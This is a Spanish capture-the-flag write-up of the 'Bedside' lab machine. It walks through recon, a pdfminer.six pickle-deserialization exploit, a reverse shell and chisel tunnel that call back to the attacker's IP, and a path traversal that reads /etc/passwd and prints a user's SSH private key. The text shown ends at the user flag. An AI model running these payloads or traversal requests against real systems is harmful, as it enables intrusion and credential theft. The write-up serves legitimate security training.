Informacion de la Maquina
En Bedside identificamos un subdominio que corre un modelo de entrenamiento vulnerable a Pickle Dezerialization en archivos PDF, tras realizar la explotacion logramos acceso a un primer usuario. Localmente corria un sitio que utiliza esm.sh, se identifico y exploto una vulnerabilidad Path Traversal que permitio el acceso a la clave privada SSH de un segundo usuario lo que permitio su acceso. Finalmente escalamos privilegios a traves de un checkpoint malicioso para un modelo de entrenamiento.
Recon
nmap
nmap muestra multiples puertos abiertos: http (80), ssh (22) y 3000 (filtrado).
1# Nmap 7.99 scan initiated Thu Jul 23 03:25:39 2026 as: /usr/lib/nmap/nmap --privileged -p22,80,3000 -sV -sC -oN nmap_scan 10.129.11.53
2Nmap scan report for bedside.htb (10.129.11.53)
3Host is up (0.27s latency).
4
5PORT STATE SERVICE VERSION
622/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
780/tcp open http Apache httpd 2.4.68
8|_http-server-header: Apache/2.4.68 (Debian)
9|_http-title: Bedside Clinic - bedside.htb
103000/tcp filtered ppp
11Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
12
13Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
14# Nmap done at Thu Jul 23 03:25:56 2026 -- 1 IP address (1 host up) scanned in 17.28 secondsWeb Site
El sitio web nos redirige al dominio bedside.htb el cual agregamos al archivo /etc/hosts.
1❯ curl -sI 10.129.11.53
2HTTP/1.1 301 Moved Permanently
3Date: Wed, 22 Jul 2026 04:53:46 GMT
4Server: Apache/2.4.68 (Debian)
5Location: http://bedside.htb/
6Content-Type: text/html; charset=iso-8859-1
7
8❯Muestra un sitio web con tematica de Clinica Medica que utiliza Inteligencia Artificial.

Directory Brute Forcing
feroxbuster unicamente muestra una pagina .php.
1❯ feroxbuster -u http://bedside.htb/ -w $CM -x php
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.13.1
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://bedside.htb/
9 🚩 In-Scope Url │ bedside.htb
10 🚀 Threads │ 50
11 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
12 👌 Status Codes │ All Status Codes!
13 💥 Timeout (secs) │ 7
14 🦡 User-Agent │ feroxbuster/2.13.1
15 💉 Config File │ /etc/feroxbuster/ferox-config.toml
16 🔎 Extract Links │ true
17 💲 Extensions │ [php]
18 🏁 HTTP methods │ [GET]
19 🔃 Recursion Depth │ 4
20───────────────────────────┴──────────────────────
21 🏁 Press [ENTER] to use the Scan Management Menu™
22──────────────────────────────────────────────────
23404 GET 9l 32w 313c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24403 GET 9l 29w 316c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
25404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
26200 GET 165l 726w 7189c http://bedside.htb/
27200 GET 165l 726w 7189c http://bedside.htb/index.php
28301 GET 9l 29w 355c http://bedside.htb/javascript => http://bedside.htb/javascript/
29301 GET 9l 29w 362c http://bedside.htb/javascript/jquery => http://bedside.htb/javascript/jquery/
30200 GET 9023l 37050w 289782c http://bedside.htb/javascript/jquery/jquery
31❯Subdomain Discovery
Tras ejecutar ffuf este muestra el subdominio research.
1❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.bedside.htb" -u http://bedside.htb -ac
2
3 /'___\ /'___\ /'___\
4 /\ \__/ /\ \__/ __ __ /\ \__/
5 \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
6 \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
7 \ \_\ \ \_\ \ \____/ \ \_\
8 \/_/ \/_/ \/___/ \/_/
9
10 v2.1.0-dev
11________________________________________________
12
13 :: Method : GET
14 :: URL : http://bedside.htb
15 :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
16 :: Header : Host: FUZZ.bedside.htb
17 :: Follow redirects : false
18 :: Calibration : true
19 :: Timeout : 10
20 :: Threads : 40
21 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500
22________________________________________________
23
24research [Status: 200, Size: 3152, Words: 313, Lines: 80, Duration: 378ms]
25❯research.bedside.htb
El subdominio muestra una pagina donde se describe el uso de Inteligencia Artificial. Acepta archivos para entrenar el modelo: jpeg, jpg, png, bmp, tiff, dcm, pdf.

Directory Brute Forcing
feroxbuster unicamente muestra una pagina .php y el directorio uploads/.
1❯ feroxbuster -u http://research.bedside.htb/ -w $CM -x php
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.13.1
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://research.bedside.htb/
9 🚩 In-Scope Url │ research.bedside.htb
10 🚀 Threads │ 50
11 📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
12 👌 Status Codes │ All Status Codes!
13 💥 Timeout (secs) │ 7
14 🦡 User-Agent │ feroxbuster/2.13.1
15 💉 Config File │ /etc/feroxbuster/ferox-config.toml
16 🔎 Extract Links │ true
17 💲 Extensions │ [php]
18 🏁 HTTP methods │ [GET]
19 🔃 Recursion Depth │ 4
20───────────────────────────┴──────────────────────
21 🏁 Press [ENTER] to use the Scan Management Menu™
22──────────────────────────────────────────────────
23404 GET 9l 32w 322c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24403 GET 9l 29w 325c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
25404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
26200 GET 79l 331w 3152c http://research.bedside.htb/
27200 GET 79l 331w 3152c http://research.bedside.htb/index.php
28301 GET 9l 29w 373c http://research.bedside.htb/javascript => http://research.bedside.htb/javascript/
29301 GET 9l 29w 370c http://research.bedside.htb/uploads => http://research.bedside.htb/uploads/
30301 GET 9l 29w 380c http://research.bedside.htb/javascript/jquery => http://research.bedside.htb/javascript/jquery/
31200 GET 8976l 36843w 289782c http://research.bedside.htb/javascript/jquery/jquery
32❯Files
Creamos un archivo pdf para observar su comportamiento.
1# create PDF
2sudo apt install pandoc
3echo "hello there" > file.md
4pandoc file.md -o output.pdf
5# Output PDF
6❯ file output.pdf
7output.pdf: PDF document, version 1.7
8❯Al subir el archivo este muestra un mensaje:
File uploaded successfully: output.pdf
El archivo se guarda en uploads/ sin ningun tipo de cambio en el nombre.
1❯ curl -s http://research.bedside.htb/uploads/output.pdf --output /tmp/file.pdf && file /tmp/file.pdf
2/tmp/file.pdf: PDF document, version 1.7
3❯Al intentar subir un archivo con extension PHP este muestra un error con la lista de tipos de archivos aceptados, ignorando los que el sitio menciona.
Invalid file type. Allowed: jpeg, jpg, png, bmp, tiff, dcm, pdf, gz, zip
Asi tambien encontramos un error que indica el directorio donde se encuentra uploads/ al cambiar el Content-Type:
MIME type mismatch. Unable to upload file to destination /var/www/research.bedside.htb/uploads
User datawrangler via CVE-2025-64512 (pdfminer.six)
Basados en la informacion del dominio y subdominio realizamos una busqueda de modelos vulnerables a traves de archivos PDF. Tomando en cuenta “modelos generales” basados en formatos Pickle. Encontramos que existe una vulnerabilidad en pdfminer.six: Arbitrary Code Execution in pdfminer.six via Crafted PDF Input. En este, se define una referencia CMap en un archivo PDF, la referencia es creada (.pickle.gz) la cual contiene codigo malicioso y cuando pdfminer procesa el pdf verifica la referencia, la carga y deserializa, ejecutando el codigo.
Exploit
El PoC del archivo PDF referencia /pdfs/malicious, para nuestro caso conocemos el directorio /var/www/research.bedside.htb/uploads, agregamos el nombre del archivo malicious para finalmente definir: /#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fmalicious.
1%PDF-1.4
21 0 obj
3<<
4/Type /Catalog
5/Pages 2 0 R
6>>
7endobj
8
92 0 obj
10<<
11/Type /Pages
12/Kids [3 0 R]
13/Count 1
14>>
15endobj
16
173 0 obj
18<<
19/Type /Page
20/Parent 2 0 R
21/MediaBox [0 0 612 792]
22/Contents 4 0 R
23/Resources
24<<
25/Font
26<<
27/F1 5 0 R
28>>
29>>
30>>
31endobj
32
334 0 obj
34<<
35/Length 44
36>>
37stream
38BT
39/F1 12 Tf
40100 700 Td
41(Malicious PDF) Tj
42ET
43endstream
44endobj
45
465 0 obj
47<<
48/Type /Font
49/Subtype /Type0
50/BaseFont /MaliciousFont-Identity-H
51/Encoding /#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fmalicious
52/DescendantFonts [6 0 R]
53>>
54endobj
55
566 0 obj
57<<
58/Type /Font
59/Subtype /CIDFontType2
60/BaseFont /MaliciousFont
61/CIDSystemInfo
62<<
63/Registry (Adobe)
64/Ordering (Identity)
65/Supplement 0
66>>
67/FontDescriptor 7 0 R
68>>
69endobj
70
717 0 obj
72<<
73/Type /FontDescriptor
74/FontName /MaliciousFont
75/Flags 4
76/FontBBox [-1000 -1000 1000 1000]
77/ItalicAngle 0
78/Ascent 1000
79/Descent -200
80/CapHeight 800
81/StemV 80
82>>
83endobj
84
85xref
860 8
870000000000 65535 f
880000000009 00000 n
890000000058 00000 n
900000000115 00000 n
910000000274 00000 n
920000000370 00000 n
930000000503 00000 n
940000000673 00000 n
95trailer
96<<
97/Size 8
98/Root 1 0 R
99>>
100startxref
101871
102%%EOFEl PoC en si es un archivo PDF, puede ser guardado con extension .pdf.
1❯ file test.pdf
2test.pdf: PDF document, version 1.4, 1 page(s)
3❯En el script modificamos el codigo a ejecutar, una solicitud con curl, este crea el archivo malicious.pickle.gz referenciado en el PDF.
1❯ cat CVE-2025-64512.py
2#!/usr/bin/env python3
3import pickle
4import gzip
5import os
6
7def create_demo_pickle():
8 print("Creating demonstration pickle file...")
9
10 # Create payload that executes code AND returns a dict (as pdfminer expects)
11 class EvilPayload:
12 def __reduce__(self):
13 # This function will be called during unpickling
14 return (os.system, ("/bin/bash -c 'curl 10.10.15.129'",))
15
16 demo_cmap_data = EvilPayload()
17
18 # Create the pickle file that the path traversal would access
19 target_path = "./malicious.pickle.gz"
20
21 try:
22 with gzip.open(target_path, 'wb') as f:
23 pickle.dump(demo_cmap_data, f)
24 print(f"✓ Created demonstration pickle file: {target_path}")
25 return target_path
26
27 except Exception as e:
28 print(f"✗ Error creating pickle file: {e}")
29 return None
30
31if __name__ == "__main__":
32 create_demo_pickle()
33❯ python CVE-2025-64512.py
34Creating demonstration pickle file...
35✓ Created demonstration pickle file: ./malicious.pickle.gz
36❯Subimos entonces ambos archivos: pdf y pickle.gz. El sitio los procesa y vemos una solicitud por parte de la maquina logrando la ejecucion.
1❯ httphere .
2Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
310.129.11.53 - - [22/Jul/2026 03:31:58] "GET / HTTP/1.1" 200 -Basados en las solicitudes obtenidas puede que exista un cronjob para procesar los archivos pdf, se observa una solicitud cada 30 segundos.
110.129.11.53 - - [22/Jul/2026 03:43:25] "GET / HTTP/1.1" 200 -
210.129.11.53 - - [22/Jul/2026 03:43:56] "GET / HTTP/1.1" 200 -
310.129.11.53 - - [22/Jul/2026 03:44:28] "GET / HTTP/1.1" 200 -
410.129.11.53 - - [22/Jul/2026 03:44:59] "GET / HTTP/1.1" 200 -
510.129.11.53 - - [22/Jul/2026 03:45:30] "GET / HTTP/1.1" 200 -
610.129.11.53 - - [22/Jul/2026 03:46:01] "GET / HTTP/1.1" 200 -Shell as datawrangler
Modificamos el script para ejecutar una shell inversa. Subimos el archivo pickle.gz nuevamente logrando obtener una shell como datawrangler.
1❯ rlwrap nc -lvp 1335
2listening on [any] 1335 ...
3connect to [10.10.15.129] from bedside.htb [10.129.11.53] 55894
4$ whoami;id;pwd
5datawrangler
6uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)
7/app
8$Localmente encontramos el codigo fuente de pdf_watcher.py script que procesa los archivos PDF con pdfminer.six.
1$ ls -lah
2total 16K
3drwxr-xr-x 1 root root 4.0K Jul 13 13:00 .
4drwxr-xr-x 1 root root 4.0K Jul 13 13:00 ..
5-rw-rw-r-- 1 root root 2.2K Nov 10 2025 pdf_watcher.py
6-rw-rw-r-- 1 root root 23 Nov 9 2025 requirements.txt
7$ cat requirements.txt
8pdfminer.six==20250506
9$ cat pdf_watcher.py
10import subprocess
11import glob
12import os
13import time
14import sys
15import uuid
16import stat
17from pathlib import Path
18
19# Container paths
20#UPLOAD_DIR = "/var/www/html/uploads"
21UPLOAD_DIR = "/var/www/research.bedside.htb/uploads"
22OUTPUT_DIR = "/datastore/staging"
23
24TIMEOUT = 10
25SLEEP_INTERVAL = 30
26
27os.makedirs(OUTPUT_DIR, exist_ok=True)
28
29def is_suspicious_filename(name: str) -> bool:
30 if name.startswith("/") or ".." in name or name.startswith("-"):
31 return True
32 if any(ord(ch) < 32 for ch in name):
33 return True
34 return False
35
36def process_pdf(pdf_path, randomized_name):
37 filename = os.path.basename(pdf_path)
38
39 reason = None
40
41 # Basic filename check
42 if is_suspicious_filename(filename):
43 reason = "suspicious filename"
44 # Reject symlinks
45 else:
46 st = os.lstat(pdf_path)
47 if stat.S_ISLNK(st.st_mode):
48 reason = "symlink"
49 # Reject non-regular files
50 elif not stat.S_ISREG(st.st_mode):
51 reason = "non-regular file"
52
53 if reason:
54 print(f"[DEBUG] Skipping {filename}: {reason}")
55 return
56
57 output_file = os.path.join(OUTPUT_DIR, f"{randomized_name}.txt")
58
59 try:
60 subprocess.run(
61 ["pdf2txt.py", pdf_path, "-o", output_file],
62 timeout=TIMEOUT,
63 check=True
64 )
65 print(f"Processed: {pdf_path} -> {output_file}")
66 except subprocess.TimeoutExpired:
67 print(f"Timeout expired for {pdf_path}, skipping...")
68 except subprocess.CalledProcessError as e:
69 print(f"Error processing {pdf_path}: {e}")
70 except Exception as e:
71 print(f"Unexpected error processing {pdf_path}: {e}")
72
73def main():
74 while True:
75 pdf_files = glob.glob(os.path.join(UPLOAD_DIR, "*.pdf"))
76 if not pdf_files:
77 print("No PDF files found.")
78 time.sleep(SLEEP_INTERVAL)
79 continue
80
81 for pdf_path in pdf_files:
82 randomized_name = str(uuid.uuid4())
83 process_pdf(pdf_path, randomized_name)
84
85 time.sleep(SLEEP_INTERVAL)
86
87if __name__ == "__main__":
88 try:
89 main()
90 except KeyboardInterrupt:
91 print("Shutting down...")
92 sys.exit(0)
93$ Tambien observamos los dos archivos de la explotacion en el directorio de uploads/.
1$ ls -lah var/www/research.bedside.htb/uploads
2total 16K
3drwxrwxr-x 2 www-data www-data 4.0K Jul 22 09:03 .
4drwxr-xr-x 3 root root 4.0K Jul 13 13:00 ..
5-rw-r--r-- 1 www-data www-data 1.6K Jul 22 09:03 malicious.pdf
6-rw-r--r-- 1 www-data www-data 116 Jul 22 09:03 malicious.pickle.gz
7$Encontramos el archivo .dockerenv en la raiz, esto indicaria que es un contenedor de docker.
1$ ls -lah
2total 72K
3drwxr-xr-x 1 root root 4.0K Jul 13 13:00 .
4drwxr-xr-x 1 root root 4.0K Jul 13 13:00 ..
5-rwxr-xr-x 1 root root 0 Nov 11 2025 .dockerenv
6drwxr-xr-x 1 root root 4.0K Jul 13 13:00 app
7lrwxrwxrwx 1 root root 7 Aug 24 2025 bin -> usr/bin
8drwxr-xr-x 2 root root 4.0K Aug 24 2025 boot
9drwxrwx--- 8 datawrangler dataops 4.0K Jul 13 13:00 datastore
10drwxr-xr-x 5 root root 360 Jul 22 04:33 dev
11drwxr-xr-x 1 root root 4.0K Jul 13 13:00 etc
12drwxr-xr-x 1 root root 4.0K Jul 13 13:00 home
13lrwxrwxrwx 1 root root 7 Aug 24 2025 lib -> usr/lib
14lrwxrwxrwx 1 root root 9 Aug 24 2025 lib64 -> usr/lib64
15drwxr-xr-x 2 root root 4.0K Nov 3 2025 media
16drwxr-xr-x 2 root root 4.0K Nov 3 2025 mnt
17drwxr-xr-x 2 root root 4.0K Nov 3 2025 opt
18dr-xr-xr-x 276 root root 0 Jul 22 04:33 proc
19drwx------ 1 root root 4.0K Nov 4 2025 root
20drwxr-xr-x 3 root root 4.0K Nov 3 2025 run
21lrwxrwxrwx 1 root root 8 Aug 24 2025 sbin -> usr/sbin
22drwxr-xr-x 2 root root 4.0K Nov 3 2025 srv
23dr-xr-xr-x 13 root root 0 Jul 22 04:32 sys
24drwxrwxrwt 1 root root 4.0K Jul 13 13:00 tmp
25drwxr-xr-x 1 root root 4.0K Jul 13 13:00 usr
26drwxr-xr-x 1 root root 4.0K Jul 13 13:00 var
27$Al enumerar directorios/archivos accesibles a traves del grupo dtaops nos topamos con el directorio /datastore, en este parece procesar multiples archivos, posiblemente algun modelo de IA.
1$ find / -group dataops 2>/dev/null |grep -v proc | grep -v run | grep -v sys
2/home/datawrangler
3/home/datawrangler/.profile
4/home/datawrangler/.bash_logout
5/home/datawrangler/.bashrc
6/home/datawrangler/.bash_history
7/tmp/portscan.sh
8/datastore
9/datastore/logs
10/datastore/raw
11/datastore/staging
12/datastore/staging/38af1744-6baa-433e-9eea-436f71e55661.txt
13/datastore/staging/403e487a-53aa-4e99-895a-71094cce38b8.txt
14/datastore/staging/eb83c66c-bb8c-4de1-86de-89d20200de63.txt
15/datastore/staging/e6839723-e37c-4ffb-9204-12e7962d38d1.txt
16/datastore/staging/c4ee42cd-1ca2-44bf-bf7a-03400a12aec3.txt
17/datastore/staging/3751bed9-1bf4-4639-9b1a-39ba9cb3afc7.txt
18/datastore/checkpoints
19/datastore/models
20$ Reverse Tunnel - Chisel
Anteriormente encontramos el puerto 3000 filtrado, tras realizar una solicitud a este observamos que se trata de algun visor de imagenes. Esta escrito en react pero se indica la tecnologia esm.sh/x.
1$ curl -s http://127.0.0.1:3000
2<!DOCTYPE html>
3<html lang="en">
4<head>
5 <meta charset="UTF-8">
139 collapsed lines
6 <title>Bedside Clinic - Image Viewer</title>
7 <style>
8 body {
9 font-family: 'Segoe UI', sans-serif;
10 background-color: #f4f9fc;
11 color: #0b3d91;
12 margin: 0;
13 padding: 20px;
14 }
15
16 h1 {
17 text-align: center;
18 color: #0b3d91;
19 }
20
21 #root {
22 display: flex;
23 flex-direction: column;
24 align-items: center;
25 }
26
27 .viewer {
28 display: flex;
29 flex-direction: column;
30 align-items: center;
31 margin-top: 20px;
32 }
33
34 .mask-grid {
35 display: grid;
36 grid-template-columns: repeat(5, 40px);
37 gap: 2px;
38 margin-top: 10px;
39 }
40
41 .cell {
42 width: 40px;
43 height: 40px;
44 display: flex;
45 justify-content: center;
46 align-items: center;
47 font-weight: bold;
48 border-radius: 4px;
49 color: #ffffff;
50 }
51
52 .cell-0 { background-color: #a0c4ff; }
53 .cell-1 { background-color: #0077b6; }
54
55 .controls {
56 margin-top: 15px;
57 display: flex;
58 gap: 10px;
59 align-items: center;
60 }
61
62 .controls button {
63 padding: 6px 12px;
64 font-size: 14px;
65 border-radius: 4px;
66 border: none;
67 background-color: #0b3d91;
68 color: white;
69 cursor: pointer;
70 }
71
72 .controls button:disabled {
73 background-color: #a0c4ff;
74 cursor: not-allowed;
75 }
76 </style>
77</head>
78<body>
79 <h1>Bedside Clinic - Image Viewer</h1>
80 <div id="root"></div>
81
82 <script type="module">
83 import React from './vendor/react.js';
84 import ReactDOM from './vendor/react-dom.js';
85 import _ from './vendor/lodash.js';
86
87 // Simulate fetching multi-slice MRI + mask data
88 async function fetchSlices() {
89 // For demo: generate 5 slices with random masks
90 const slices = [];
91 for (let i = 0; i < 5; i++) {
92 const mask = Array.from({ length: 5 }, () =>
93 Array.from({ length: 5 }, () => Math.round(Math.random()))
94 );
95 slices.push({ id: `slice_${i+1}`, mask });
96 }
97 return slices;
98 }
99
100 function MaskGrid({ mask }) {
101 return (
102 <div className="mask-grid">
103 {mask.flat().map((cell, idx) => (
104 <div key={idx} className={`cell cell-${cell}`}>{cell}</div>
105 ))}
106 </div>
107 );
108 }
109
110 function Viewer({ slices }) {
111 const [currentIndex, setCurrentIndex] = React.useState(0);
112 const slice = slices[currentIndex];
113
114 const prevSlice = () => setCurrentIndex(idx => Math.max(0, idx - 1));
115 const nextSlice = () => setCurrentIndex(idx => Math.min(slices.length - 1, idx + 1));
116
117 return (
118 <div className="viewer">
119 <h2>{slice.id}</h2>
120 <MaskGrid mask={slice.mask} />
121 <div className="controls">
122 <button onClick={prevSlice} disabled={currentIndex === 0}>Previous Slice</button>
123 <span>Slice {currentIndex + 1} / {slices.length}</span>
124 <button onClick={nextSlice} disabled={currentIndex === slices.length - 1}>Next Slice</button>
125 </div>
126 </div>
127 );
128 }
129
130 function App() {
131 const [slices, setSlices] = React.useState([]);
132
133 React.useEffect(() => {
134 fetchSlices().then(setSlices);
135 }, []);
136
137 return slices.length > 0 ? <Viewer slices={slices} /> : <p>Loading slices...</p>;
138 }
139
140 ReactDOM.render(<App />, document.getElementById('root'));
141 </script>
142</body>
143</html>
144<script type="module">
145 import createHotContext from"/@hmr";const hot=createHotContext("/index<script type="module">import createHotContext from"/@hmr";const hot=createHotContext("/index<script type="module">import createHotContext from"/@hmr";const hot=createHotContext("/index.html");hot.watch(()=>location.reload());
146</script>
147<script>
148 console.log(
149 '%c💚 Built with esm.sh/x, please uncheck "Disable cache" in Network tab for better DX!',
150 "color:green"
151 );
152</script>
153$
$ curl -s http://127.0.0.1:3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Bedside Clinic - Image Viewer</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
background-color: #f4f9fc;
color: #0b3d91;
margin: 0;
padding: 20px;
}
h1 {
text-align: center;
color: #0b3d91;
}
#root {
display: flex;
flex-direction: column;
align-items: center;
}
.viewer {
display: flex;
flex-direction: column;
align-items: center;
margin-top: 20px;
}
.mask-grid {
display: grid;
grid-template-columns: repeat(5, 40px);
gap: 2px;
margin-top: 10px;
}
.cell {
width: 40px;
height: 40px;
display: flex;
justify-content: center;
align-items: center;
font-weight: bold;
border-radius: 4px;
color: #ffffff;
}
.cell-0 { background-color: #a0c4ff; }
.cell-1 { background-color: #0077b6; }
.controls {
margin-top: 15px;
display: flex;
gap: 10px;
align-items: center;
}
.controls button {
padding: 6px 12px;
font-size: 14px;
border-radius: 4px;
border: none;
background-color: #0b3d91;
color: white;
cursor: pointer;
}
.controls button:disabled {
background-color: #a0c4ff;
cursor: not-allowed;
}
</style>
</head>
<body>
<h1>Bedside Clinic - Image Viewer</h1>
<div id="root"></div>
<script type="module">
import React from './vendor/react.js';
import ReactDOM from './vendor/react-dom.js';
import _ from './vendor/lodash.js';
// Simulate fetching multi-slice MRI + mask data
async function fetchSlices() {
// For demo: generate 5 slices with random masks
const slices = [];
for (let i = 0; i < 5; i++) {
const mask = Array.from({ length: 5 }, () =>
Array.from({ length: 5 }, () => Math.round(Math.random()))
);
slices.push({ id: `slice_${i+1}`, mask });
}
return slices;
}
function MaskGrid({ mask }) {
return (
<div className="mask-grid">
{mask.flat().map((cell, idx) => (
<div key={idx} className={`cell cell-${cell}`}>{cell}</div>
))}
</div>
);
}
function Viewer({ slices }) {
const [currentIndex, setCurrentIndex] = React.useState(0);
const slice = slices[currentIndex];
const prevSlice = () => setCurrentIndex(idx => Math.max(0, idx - 1));
const nextSlice = () => setCurrentIndex(idx => Math.min(slices.length - 1, idx + 1));
return (
<div className="viewer">
<h2>{slice.id}</h2>
<MaskGrid mask={slice.mask} />
<div className="controls">
<button onClick={prevSlice} disabled={currentIndex === 0}>Previous Slice</button>
<span>Slice {currentIndex + 1} / {slices.length}</span>
<button onClick={nextSlice} disabled={currentIndex === slices.length - 1}>Next Slice</button>
</div>
</div>
);
}
function App() {
const [slices, setSlices] = React.useState([]);
React.useEffect(() => {
fetchSlices().then(setSlices);
}, []);
return slices.length > 0 ? <Viewer slices={slices} /> : <p>Loading slices...</p>;
}
ReactDOM.render(<App />, document.getElementById('root'));
</script>
</body>
</html>
<script type="module">
import createHotContext from"/@hmr";const hot=createHotContext("/index<script type="module">import createHotContext from"/@hmr";const hot=createHotContext("/index<script type="module">import createHotContext from"/@hmr";const hot=createHotContext("/index.html");hot.watch(()=>location.reload());
</script>
<script>
console.log(
'%c💚 Built with esm.sh/x, please uncheck "Disable cache" in Network tab for better DX!',
"color:green"
);
</script>
$Ejecutamos chisel para obtener el puerto localmente.
1$ curl -s 10.10.14.215/chisel_linux --output chisel; chmod +x chisel
2$ ./chisel client 10.10.14.215:7070 R:127.0.0.1:3000
32026/07/23 05:12:17 client: Connecting to ws://10.10.14.215:7070
42026/07/23 05:12:20 client: Connected (Latency 272.742116ms)
5
6❯ ./chisel_linux server --reverse --port 7070
72026/07/23 01:12:04 server: Reverse tunnelling enabled
82026/07/23 01:12:04 server: Fingerprint zyU6KWEbeY5TTg1R/xClpmWD5U7HCG5S4UWoUT2FPm0=
92026/07/23 01:12:04 server: Listening on http://0.0.0.0:7070
102026/07/23 01:12:36 server: session#1: tun: proxy#R:3000=>3000: ListeningUser Developer via Path Traversal
Tras visitar el sitio este muestra un unico mensaje. Si observamos la consola muestra que existe algun tipo de error y nuevamente se indica esm.sh/x.

Built with esm.sh/x, please uncheck “Disable cache” in Network tab for better DX!
Intentamos realizar una solicitud ante posibles archivos expuestos este indica el mensaje Not Found. Tras intentar ../../../../../etc/passwd este muestra el contenido del archivo, identificando una vulnerabilidad Path Traversal (CVE-2026-102657).
1❯ curl http://127.0.0.1:3000/src/App.jsx
2Not Found
3❯ curl --path-as-is -s http://127.0.0.1:3000/../../../../../etc/passwd
4root:x:0:0:root:/root:/bin/bash
5daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
6bin:x:2:2:bin:/bin:/usr/sbin/nologin
7sys:x:3:3:sys:/dev:/usr/sbin/nologin
8sync:x:4:65534:sync:/bin:/bin/sync
9games:x:5:60:games:/usr/games:/usr/sbin/nologin
10man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
11lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
12mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
13news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
14uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
15proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
16www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
17backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
18list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
19irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
20_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
21nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
22systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
23systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin
24messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
25sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
26developer:x:1000:1000:developer,,,:/home/developer:/bin/bash
27datawrangler:x:988:1001::/home/datawrangler:/bin/sh
28_laurel:x:987:987::/var/log/laurel:/bin/false
29polkitd:x:986:986:User for polkitd:/:/usr/sbin/nologin
30❯Shell as Developer
El archivo anterior muestra al usuario developer, verificamos que existe una clave SSH para este usuario.
1❯ curl --path-as-is -s http://127.0.0.1:3000/../../../../../home/developer/.ssh/id_rsa
2-----BEGIN OPENSSH PRIVATE KEY-----
3b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
4QyNTUxOQAAACAif7DtVQ9X236vlEhd0VzSJ0ZJVzyrwAb7zT5IOZotAAAAAJj05ixK9OYs
5SgAAAAtzc2gtZWQyNTUxOQAAACAif7DtVQ9X236vlEhd0VzSJ0ZJVzyrwAb7zT5IOZotAA
6AAAEBySF+9afvOfxLBTbYWcyNm7zOrsXrKdvfkg/vvFZaiwiJ/sO1VD1fbfq+USF3RXNIn
7RklXPKvABvvNPkg5mi0AAAAAEWRldmVsb3BlckBiZWRzaWRlAQIDBA==
8-----END OPENSSH PRIVATE KEY-----
9❯ Utilizamos esta para obtener acceso a este usuario logrando leer la flag user.txt.
1❯ chmod 600 dev_id_rsa
2❯ ssh -i dev_id_rsa developer@bedside.htb
3The authenticity of host 'bedside.htb (10.129.11.53)' can't be established.
4ED25519 key fingerprint is: SHA256:6KXNtM+ZBlC8VxTPpjym9E57sk/MAGEgLJ86fr/fhY8
5This key is not known by any other names.
6Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
7Warning: Permanently added 'bedside.htb' (ED25519) to the list of known hosts.
8================================================================================
9| |
10| BEDSIDE CLINIC NETWORK |
11| |
12| Authorized Access Only. All activities are monitored. |
13| |
14| NOTICE TO SYSTEM ADMINISTRATORS: |
15| - Maintain patient data confidentiality and HIPAA compliance. |
16| - Always check the Change Management schedule before escalating. |
17| - Follow IT security policies for updates, backups, and monitoring. |
18| |
19| SYSTEM OPERATIONS TEAM |
20| Bedside Clinic - Clinical IT Department |
21| |
22================================================================================
23
24Linux bedside 6.12.95+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.95-1 (2026-07-04) x86_64
25
26The programs included with the Debian GNU/Linux system are free software;
27the exact distribution terms for each program are described in the
28individual files in /usr/share/doc/*/copyright.
29
30Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
31permitted by applicable law.
32developer@bedside:~$ whoami;id;pwd;ls
33developer
34uid=1000(developer) gid=1000(developer) groups=1000(developer),100(users)
35/home/developer
36projects user.txt
37developer@bedside:~$ cat user.txt
